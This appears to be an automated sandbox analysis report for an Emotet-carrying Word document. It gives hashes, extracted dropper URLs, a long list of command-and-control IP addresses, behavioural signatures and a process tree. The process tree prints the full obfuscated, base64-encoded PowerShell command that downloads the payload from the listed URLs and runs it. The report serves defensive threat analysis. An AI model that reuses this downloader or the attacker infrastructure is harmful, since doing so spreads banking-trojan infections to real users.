emotet | 4a41fe05f937feaecaba02c592b808bd1115bd8e4dd8da812fd2e59fe937af5f

Analysis

max time kernel
139s
max time network
146s
platform
windows10_x64
resource
win10v200722
submitted
24/09/2020, 16:32

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General

Target
emotet_e1_4a41fe05f937feaecaba02c592b808bd1115bd8e4dd8da812fd2e59fe937af5f_2020-09-24__162951572235._doc.doc
Size 166KB
Sample200924-bk784exbkj
SHA256 4a41fe05f937feaecaba02c592b808bd1115bd8e4dd8da812fd2e59fe937af5f
MD5 2a9773efeac4c92ad809944ca7140a29
SHA1 e1c3aaafaf2de2eae3cc0bdc6c9a6dcdcdde4f81
SHA512 aa75da0234212cefcaf4160bd1877cd60a9d77239f62f6725327daf3c2584f3bcca62dc377925a79f768c6923d88788b64434f711316da2feaa22a02bf4a7991
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://tulyboutiquehouse.com/wp-admin/L/
exe.dropper
http://www.namwasports.com/wp-includes/0/
exe.dropper
http://haniyyacrafts.com/cgi-bin/OLq/
exe.dropper
http://kanbonim.com/test/e/
exe.dropper
http://aahnaturals.net/wp-includes/a/
exe.dropper
http://safiullah.com/wp-content/U/
exe.dropper
http://ladsbarbearia.com/wvlph/R/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	408	2772	POwersheLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3452-17-0x0000000000730000-0x0000000000742000-memory.dmp	emotet
behavioral2/memory/3452-17-0x0000000000730000-0x0000000000742000-memory.dmp	emotet
behavioral2/memory/3452-18-0x0000000000710000-0x0000000000720000-memory.dmp	emotet
behavioral2/memory/3452-18-0x0000000000710000-0x0000000000720000-memory.dmp	emotet
behavioral2/memory/3904-21-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/3904-21-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/3904-22-0x0000000000580000-0x0000000000590000-memory.dmp	emotet
behavioral2/memory/3904-22-0x0000000000580000-0x0000000000590000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	408	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3452	Y7wnizp3.exe
3904	Windows.Storage.ApplicationData.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mfreadwrite\Windows.Storage.ApplicationData.exe	Y7wnizp3.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
408	POwersheLL.exe
408	POwersheLL.exe
408	POwersheLL.exe
3904	Windows.Storage.ApplicationData.exe
3904	Windows.Storage.ApplicationData.exe
3904	Windows.Storage.ApplicationData.exe
3904	Windows.Storage.ApplicationData.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	408	POwersheLL.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3452	Y7wnizp3.exe
3904	Windows.Storage.ApplicationData.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 408 wrote to memory of 3452	408	POwersheLL.exe	79
PID 408 wrote to memory of 3452	408	POwersheLL.exe	79
PID 408 wrote to memory of 3452	408	POwersheLL.exe	79
PID 3452 wrote to memory of 3904	3452	Y7wnizp3.exe	80
PID 3452 wrote to memory of 3904	3452	Y7wnizp3.exe	80
PID 3452 wrote to memory of 3904	3452	Y7wnizp3.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_4a41fe05f937feaecaba02c592b808bd1115bd8e4dd8da812fd2e59fe937af5f_2020-09-24__162951572235._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABMAG0AawB0AGoANwAxAD0AKAAnAE8AZgAnACsAKAAnAHoAJwArACcAYQB1AHkAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBQAHIAbwBGAGkATABFAFwAawA0ADIAZgBNAEoANwBcAFAAYQA5AFAANQBLAEMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGMAdQBSAEkAVAB5AHAAUgBvAHQAYABvAEMAYABvAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxACcAKwAnADIALAAgAHQAbAAnACsAJwBzADEAJwApACsAJwAxACcAKwAnACwAJwArACgAJwAgAHQAbAAnACsAJwBzACcAKQApADsAJABZAHoAYgB2AG0AcwBmACAAPQAgACgAKAAnAFkAJwArACcANwB3AG4AaQAnACkAKwAoACcAegBwACcAKwAnADMAJwApACkAOwAkAEkAeABiAHQAZwBuAHkAPQAoACcAWQBlACcAKwAnAGEAaAAnACsAKAAnAHgAXwAnACsAJwB1ACcAKQApADsAJABBAHkAMABpAGMAcQB3AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAAnACsAJwB9AEsANAAyAGYAbQBqADcAewAwAH0AUABhADkAJwArACcAcAA1ACcAKwAnAGsAYwB7ADAAJwArACcAfQAnACkAIAAgAC0ARgBbAEMASABBAFIAXQA5ADIAKQArACQAWQB6AGIAdgBtAHMAZgArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEUAdgBoAHUANgBkADkAPQAoACgAJwBHAHIAOQAnACsAJwB5ACcAKQArACgAJwAxADYAJwArACcAMgAnACkAKQA7ACQAQwBrAGQAbABnAGkAZAA9ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAFQALgBXAEUAQgBjAGwASQBFAE4AVAA7ACQAQQBnAGwAeAB6AHYAaQA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvAC8AdAAnACkAKwAoACcAdQBsAHkAJwArACcAYgAnACkAKwAoACcAbwB1ACcAKwAnAHQAJwApACsAJwBpAHEAJwArACgAJwB1AGUAaAAnACsAJwBvACcAKwAnAHUAcwAnACkAKwAnAGUAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZAAnACkAKwAnAG0AJwArACcAaQBuACcAKwAnAC8ATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAOgAnACsAKAAnAC8ALwAnACsAJwB3AHcAJwApACsAKAAnAHcALgBuACcAKwAnAGEAJwApACsAJwBtAHcAJwArACgAJwBhACcAKwAnAHMAcABvACcAKQArACcAcgAnACsAKAAnAHQAJwArACcAcwAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGkAJwArACcAbgBjACcAKQArACgAJwBsAHUAZABlACcAKwAnAHMAJwArACcALwAwAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvAGgAJwArACcAYQAnACsAJwBuACcAKwAnAGkAJwArACcAeQAnACsAKAAnAHkAJwArACcAYQBjAHIAJwApACsAKAAnAGEAZgB0AHMAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBjAGcAJwArACcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAE8AJwArACcATABxAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAKAAnAC8AawBhACcAKwAnAG4AJwApACsAJwBiACcAKwAoACcAbwBuAGkAJwArACcAbQAnACkAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcALwAnACsAKAAnAHQAZQAnACsAJwBzAHQALwAnACsAJwBlAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBhAGEAJwArACcAaABuAGEAdAB1ACcAKQArACgAJwByAGEAbABzACcAKwAnAC4AJwArACcAbgBlAHQALwB3ACcAKwAnAHAALQAnACkAKwAoACcAaQBuACcAKwAnAGMAbAAnACsAJwB1AGQAJwApACsAKAAnAGUAJwArACcAcwAvACcAKQArACcAYQAnACsAJwAvACcAKwAnACoAJwArACcAaAAnACsAJwB0ACcAKwAoACcAdABwADoALwAvACcAKwAnAHMAJwApACsAKAAnAGEAZgAnACsAJwBpACcAKQArACcAdQAnACsAKAAnAGwAJwArACcAbABhACcAKQArACgAJwBoAC4AYwBvACcAKwAnAG0AJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYwAnACsAJwBvACcAKwAnAG4AdABlAG4AJwApACsAJwB0ACcAKwAoACcALwBVAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGwAJwArACcAYQAnACkAKwAnAGQAJwArACcAcwAnACsAJwBiAGEAJwArACgAJwByACcAKwAnAGIAZQBhACcAKQArACcAcgAnACsAKAAnAGkAYQAnACsAJwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAdgBsAHAAJwArACcAaAAvACcAKwAnAFIALwAnACkAKQAuACIAcwBgAHAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOADIAMABpAHoAYwBvAD0AKAAnAEIAJwArACcAcAB3ACcAKwAoACcAdABxACcAKwAnAHIAbAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAZABlAGIAZwBfADYAIABpAG4AIAAkAEEAZwBsAHgAegB2AGkAKQB7AHQAcgB5AHsAJABDAGsAZABsAGcAaQBkAC4AIgBEAE8AVwBuAGwAYABPAGEARABGAGAAaQBMAEUAIgAoACQARgBkAGUAYgBnAF8ANgAsACAAJABBAHkAMABpAGMAcQB3ACkAOwAkAEIAawBjAGUAaQBoADkAPQAoACcAUwAnACsAJwByAGsAJwArACgAJwAxACcAKwAnAHEAXwA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEAeQAwAGkAYwBxAHcAKQAuACIATABgAEUATgBnAGAAVABIACIAIAAtAGcAZQAgADIAMQA1ADUAOAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABBAHkAMABpAGMAcQB3ACkAOwAkAEIAegA3AGIAbABvAGQAPQAoACcASwAnACsAJwB0AHEAJwArACgAJwByAG8AJwArACcAZQAzACcAKQApADsAYgByAGUAYQBrADsAJABBAHcAcAAzAHgAMQBsAD0AKAAoACcAVAB0ACcAKwAnAGkANAAnACsAJwB5AG0AJwApACsAJwBiACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBmAG4AMwBwADcAMgA9ACgAKAAnAFoAOAAnACsAJwA0ACcAKQArACgAJwB6AHMAMgAnACsAJwBsACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:408
- C:\Users\Admin\K42fmj7\Pa9p5kc\Y7wnizp3.exe
  "C:\Users\Admin\K42fmj7\Pa9p5kc\Y7wnizp3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\SysWOW64\mfreadwrite\Windows.Storage.ApplicationData.exe
    "C:\Windows\SysWOW64\mfreadwrite\Windows.Storage.ApplicationData.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/408-11-0x00007FF99C980000-0x00007FF99D36C000-memory.dmp

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memory/408-13-0x0000016D6F570000-0x0000016D6F571000-memory.dmp

Download

memory/408-12-0x0000016D572B0000-0x0000016D572B1000-memory.dmp

Download

memory/3452-17-0x0000000000730000-0x0000000000742000-memory.dmp

Download

memory/3452-18-0x0000000000710000-0x0000000000720000-memory.dmp

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memory/3816-10-0x000002911A522000-0x000002911A58D000-memory.dmp

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memory/3816-9-0x000002911A522000-0x000002911A58D000-memory.dmp

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memory/3816-8-0x000002911A522000-0x000002911A58D000-memory.dmp

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memory/3816-7-0x000002911A522000-0x000002911A58D000-memory.dmp

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memory/3816-0-0x00007FF9A3CD0000-0x00007FF9A4396000-memory.dmp

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memory/3816-6-0x000002911A452000-0x000002911A463000-memory.dmp

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memory/3904-21-0x00000000005A0000-0x00000000005B2000-memory.dmp

Download

memory/3904-22-0x0000000000580000-0x0000000000590000-memory.dmp

Download